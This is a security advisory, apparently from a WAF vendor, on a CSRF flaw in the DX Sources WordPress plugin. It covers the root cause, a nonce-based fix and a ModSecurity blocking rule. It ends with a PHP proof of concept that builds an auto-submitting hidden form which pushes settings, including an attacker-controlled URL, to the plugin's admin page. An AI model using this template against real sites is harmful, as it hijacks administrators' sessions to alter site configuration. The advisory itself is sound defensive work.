Atomic Edge analysis of CVE-2026-6700 (metadata-based): This is a Cross-Site Request Forgery (CSRF) vulnerability in the DX Sources WordPress plugin, affecting all versions up to and including 2.0.1. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into modifying the plugin’s configuration options. The CVSS score is 4.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N.
The root cause is missing or incorrect nonce validation on the `settings_page_build` function. This function likely handles the saving of plugin settings from a form submission in the WordPress admin panel. Without a nonce check, WordPress cannot verify that the request originated from the legitimate admin user interface. This conclusion is inferred from the CWE classification (CWE-352), the vulnerability description, and the function name `settings_page_build`. No code diff is available for confirmation.
To exploit this vulnerability, an attacker must craft a malicious HTML page that submits a forged request to the `settings_page_build` endpoint. The endpoint is likely at `/wp-admin/options-general.php?page=dx-sources` or a similar admin page URL where settings are saved. The attacker would include parameters that change plugin options, such as API keys, source lists, or other configuration values. The attacker then tricks an administrator into visiting this page, causing the browser to send the forged request with the administrator’s session cookies.
The fix must add proper nonce validation to the `settings_page_build` function. WordPress provides `wp_nonce_field()` to generate nonces in forms and `check_admin_referer()` or `wp_verify_nonce()` to validate them upon submission. The plugin should call `check_admin_referer(‘dx_sources_settings’)` (or a similar plugin-specific action) before saving any configuration changes. This pattern is standard for all WordPress plugin settings pages.
The impact is limited to unauthorized modification of plugin settings. An attacker could change source URLs, API keys, or other configuration values, potentially causing the plugin to fetch content from attacker-controlled sources. This could lead to further attacks such as stored XSS if the modified settings result in malicious content being displayed on the site. However, the CVSS indicates no confidentiality impact and low integrity impact, meaning direct data exposure or privilege escalation is not possible.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6700 (metadata-based)
# Blocks CSRF exploitation attempts targeting DX Sources settings endpoint
# The vulnerability is in the settings_page_build function without nonce validation
SecRule REQUEST_URI "@contains /wp-admin/options-general.php"
"id:20266700,phase:2,deny,status:403,chain,msg:'CVE-2026-6700 - DX Sources CSRF Settings Update',severity:'CRITICAL',tag:'CVE-2026-6700'"
SecRule ARGS_GET:page "@streq dx-sources" "chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6700 - DX Sources <= 2.0.1 - Cross-Site Request Forgery to Settings Update
// This PoC demonstrates a CSRF attack that modifies plugin settings.
// The attacker hosts this script on a server and tricks an admin into visiting it.
// The script auto-submits a form to the vulnerable settings endpoint.
$target_url = 'http://example.com/wp-admin/options-general.php?page=dx-sources';
// Define the malicious settings to inject
// These parameters are educated guesses based on typical plugin settings fields
$settings = array(
'dx_sources_option1' => 'malicious_value',
'dx_sources_option2' => 'http://attacker-controlled.com/source',
'dx_sources_option3' => '1',
// Add other settings fields as discovered
);
// Build the HTML form that auto-submits
$html = '<html><body>
<h1>Please wait...</h1>
<form id="csrf_form" action="' . htmlspecialchars($target_url) . '" method="POST">
';
foreach ($settings as $name => $value) {
$html .= '<input type="hidden" name="' . htmlspecialchars($name) . '" value="' . htmlspecialchars($value) . '" />' . "n";
}
$html .= '<input type="submit" value="Continue" />
</form>
<script>
document.getElementById("csrf_form").submit();
</script>
</body></html>';
echo $html;
